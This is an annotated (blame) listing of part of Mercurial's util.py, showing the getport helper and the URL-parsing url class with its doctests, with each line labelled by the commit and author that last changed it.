43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2921
12076 49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2922 def getport(port):
49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2923 """Return the port for a given network service.
49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2924
49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2925 If port is an integer, it's returned as is. If it's a string, it's
49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2926 looked up using socket.getservbyname(). If there's no matching
26587 56b2bcea2529 error: get Abort from 'error' instead of 'util' Pierre-Yves David <pierre-yves.david@fb.com> parents: 26493 diff changeset	2927 service, error.Abort is raised.
12076 49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2928 """
49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2929 try:
49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2930 return int(port)
49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2931 except ValueError:
49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2932 pass
49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2933
49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2934 try:
36076 15c8c4ac5d9c py3: pass system string to socket.getservbyname Gregory Szorc <gregory.szorc@gmail.com> parents: 35940 diff changeset	2935 return socket.getservbyname(pycompat.sysstr(port))
12076 49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2936 except socket.error:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2937 raise error.Abort(
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2938 _(b"no port number associated with service '%s'") % port
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2939 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2940
12087 a88a4720c2f0 parsebool: create new function and use it for config parsing Augie Fackler <durin42@gmail.com> parents: 12086 diff changeset	2941
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2942 class url(object):
14146 1618c4f6f15b tests: use raw string for url tests of '\' handling Mads Kiilerich <mads@kiilerich.com> parents: 14100 diff changeset	2943 r"""Reliable URL parser.
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2944
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2945 This parses URLs and provides attributes for the following
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2946 components:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2947
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2948 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2949
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2950 Missing components are set to None. The only exception is
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2951 fragment, which is set to '' if present but empty.
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2952
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2953 If parsefragment is False, fragment is included in query. If
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2954 parsequery is False, query is included in path. If both are
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2955 False, both fragment and query are included in path.
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2956
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2957 See http://www.ietf.org/rfc/rfc2396.txt for more information.
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2958
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2959 Note that for backward compatibility reasons, bundle URLs do not
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2960 take host names. That means 'bundle://../' has a path of '../'.
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2961
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2962 Examples:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2963
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2964 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2965 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2966 >>> url(b'ssh://[::1]:2200//home/joe/repo')
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2967 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2968 >>> url(b'file:///home/joe/repo')
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2969 <url scheme: 'file', path: '/home/joe/repo'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2970 >>> url(b'file:///c:/temp/foo/')
14915 28edd65000d9 url: handle urls of the form file:///c:/foo/bar/ correctly Matt Mackall <mpm@selenic.com> parents: 14825 diff changeset	2971 <url scheme: 'file', path: 'c:/temp/foo/'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2972 >>> url(b'bundle:foo')
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2973 <url scheme: 'bundle', path: 'foo'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2974 >>> url(b'bundle://../foo')
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2975 <url scheme: 'bundle', path: '../foo'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2976 >>> url(br'c:\foo\bar')
14146 1618c4f6f15b tests: use raw string for url tests of '\' handling Mads Kiilerich <mads@kiilerich.com> parents: 14100 diff changeset	2977 <url path: 'c:\\foo\\bar'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2978 >>> url(br'\\blah\blah\blah')
14699 388af80c058b url: catch UNC paths as yet another Windows special case (issue2808) Matt Mackall <mpm@selenic.com> parents: 14640 diff changeset	2979 <url path: '\\\\blah\\blah\\blah'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2980 >>> url(br'\\blah\blah\blah#baz')
15074 64fbd0de9773 url: parse fragments first (issue2997) Matt Mackall <mpm@selenic.com> parents: 15066 diff changeset	2981 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2982 >>> url(br'file:///C:\users\me')
20106 c33d9217e99d util: url keeps backslash in paths Simon Heimberg <simohe@besonet.ch> parents: 20000 diff changeset	2983 <url scheme: 'file', path: 'C:\\users\\me'>
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2984
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2985 Authentication credentials:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2986
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2987 >>> url(b'ssh://joe:xyz@x/repo')
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2988 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2989 >>> url(b'ssh://joe@x/repo')
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2990 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2991
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2992 Query strings and fragments:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2993
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2994 >>> url(b'http://host/a?b#c')
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2995 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2996 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2997 <url scheme: 'http', host: 'host', path: 'a?b#c'>
30036 3f4e1c033f40 url: fix crash by empty path with #fragments Yuya Nishihara <yuya@tcha.org> parents: 30031 diff changeset	2998
3f4e1c033f40 url: fix crash by empty path with #fragments Yuya Nishihara <yuya@tcha.org> parents: 30031 diff changeset	2999 Empty path:
3f4e1c033f40 url: fix crash by empty path with #fragments Yuya Nishihara <yuya@tcha.org> parents: 30031 diff changeset	3000
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	3001 >>> url(b'')
30036 3f4e1c033f40 url: fix crash by empty path with #fragments Yuya Nishihara <yuya@tcha.org> parents: 30031 diff changeset	3002 <url path: ''>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	3003 >>> url(b'#a')
30036 3f4e1c033f40 url: fix crash by empty path with #fragments Yuya Nishihara <yuya@tcha.org> parents: 30031 diff changeset	3004 <url path: '', fragment: 'a'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	3005 >>> url(b'http://host/')
30036 3f4e1c033f40 url: fix crash by empty path with #fragments Yuya Nishihara <yuya@tcha.org> parents: 30031 diff changeset	3006 <url scheme: 'http', host: 'host', path: ''>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	3007 >>> url(b'http://host/#a')
30036 3f4e1c033f40 url: fix crash by empty path with #fragments Yuya Nishihara <yuya@tcha.org> parents: 30031 diff changeset	3008 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
3f4e1c033f40 url: fix crash by empty path with #fragments Yuya Nishihara <yuya@tcha.org> parents: 30031 diff changeset	3009
3f4e1c033f40 url: fix crash by empty path with #fragments Yuya Nishihara <yuya@tcha.org> parents: 30031 diff changeset	3010 Only scheme:
3f4e1c033f40 url: fix crash by empty path with #fragments Yuya Nishihara <yuya@tcha.org> parents: 30031 diff changeset	3011
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	3012 >>> url(b'http:')
30036 3f4e1c033f40 url: fix crash by empty path with #fragments Yuya Nishihara <yuya@tcha.org> parents: 30031 diff changeset	3013 <url scheme: 'http'>
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3014 """
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3015
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3016 _safechars = b"!~*'()+"
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3017 _safepchars = b"/!~*'()+:\\"
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3018 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3019
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3020 def __init__(self, path, parsequery=True, parsefragment=True):
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3021 # We slowly chomp away at path until we have only the path left
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3022 self.scheme = self.user = self.passwd = self.host = None
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3023 self.port = self.path = self.query = self.fragment = None
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3024 self._localpath = True
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3025 self._hostport = b''
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3026 self._origpath = path
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3027
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3028 if parsefragment and b'#' in path:
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3029 path, self.fragment = path.split(b'#', 1)
15074 64fbd0de9773 url: parse fragments first (issue2997) Matt Mackall <mpm@selenic.com> parents: 15066 diff changeset	3030
14699 388af80c058b url: catch UNC paths as yet another Windows special case (issue2808) Matt Mackall <mpm@selenic.com> parents: 14640 diff changeset	3031 # special case for Windows drive letters and UNC paths
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3032 if hasdriveletter(path) or path.startswith(b'\\\\'):
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3033 self.path = path
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3034 return
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3035
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3036 # For compatibility reasons, we can't handle bundle paths as
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3037 # normal URLS
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3038 if path.startswith(b'bundle:'):
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3039 self.scheme = b'bundle'
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3040 path = path[7:]
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3041 if path.startswith(b'//'):
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3042 path = path[2:]
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3043 self.path = path
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3044 return
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3045
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3046 if self._matchscheme(path):
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3047 parts = path.split(b':', 1)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3048 if parts[0]:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3049 self.scheme, path = parts
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3050 self._localpath = False
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3051
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3052 if not path:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3053 path = None
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3054 if self._localpath:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3055 self.path = b''
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3056 return
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3057 else:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3058 if self._localpath:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3059 self.path = path
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3060 return
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3061
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3062 if parsequery and b'?' in path:
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3063 path, self.query = path.split(b'?', 1)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3064 if not path:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3065 path = None
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3066 if not self.query:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3067 self.query = None
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3068
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3069 # // is required to specify a host/authority
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3070 if path and path.startswith(b'//'):
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3071 parts = path[2:].split(b'/', 1)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3072 if len(parts) > 1:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3073 self.host, path = parts
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3074 else:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3075 self.host = parts[0]
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3076 path = None
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3077 if not self.host:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3078 self.host = None
15018 e89f62dcd723 url: really handle urls of the form file:///c:/foo/bar/ correctly Mads Kiilerich <mads@kiilerich.com> parents: 14988 diff changeset	3079 # path of file:///d is /d
e89f62dcd723 url: really handle urls of the form file:///c:/foo/bar/ correctly Mads Kiilerich <mads@kiilerich.com> parents: 14988 diff changeset	3080 # path of file:///d:/ is d:/, not /d:/
14915 28edd65000d9 url: handle urls of the form file:///c:/foo/bar/ correctly Matt Mackall <mpm@selenic.com> parents: 14825 diff changeset	3081 if path and not hasdriveletter(path):
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3082 path = b'/' + path
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3083
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3084 if self.host and b'@' in self.host:
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3085 self.user, self.host = self.host.rsplit(b'@', 1)
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3086 if b':' in self.user:
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3087 self.user, self.passwd = self.user.split(b':', 1)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3088 if not self.host:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3089 self.host = None
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3090
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3091 # Don't split on colons in IPv6 addresses without ports
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3092 if (
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3093 self.host
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3094 and b':' in self.host
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3095 and not (
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3096 self.host.startswith(b'[') and self.host.endswith(b']')
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3097 )
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3098 ):
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3099 self._hostport = self.host
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3100 self.host, self.port = self.host.rsplit(b':', 1)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3101 if not self.host:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3102 self.host = None
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3103
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3104 if (
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3105 self.host
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3106 and self.scheme == b'file'
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3107 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3108 ):
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3109 raise error.Abort(
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3110 _(b'file:// URLs can only refer to localhost')
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3111 )
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3112
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3113 self.path = path
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3114
14988 e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921) Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 14915 diff changeset	3115 # leave the query string escaped
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3116 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3117 v = getattr(self, a)
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3118 if v is not None:
31573 4ebecf331d7d util: use urlreq.unquote Gregory Szorc <gregory.szorc@gmail.com> parents: 31547 diff changeset	3119 setattr(self, a, urlreq.unquote(v))
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3120
34089 30535fe47e78 py3: fix repr(util.url) to return system string Yuya Nishihara <yuya@tcha.org> parents: 34069 diff changeset	3121 @encoding.strmethod
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3122 def __repr__(self):
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3123 attrs = []
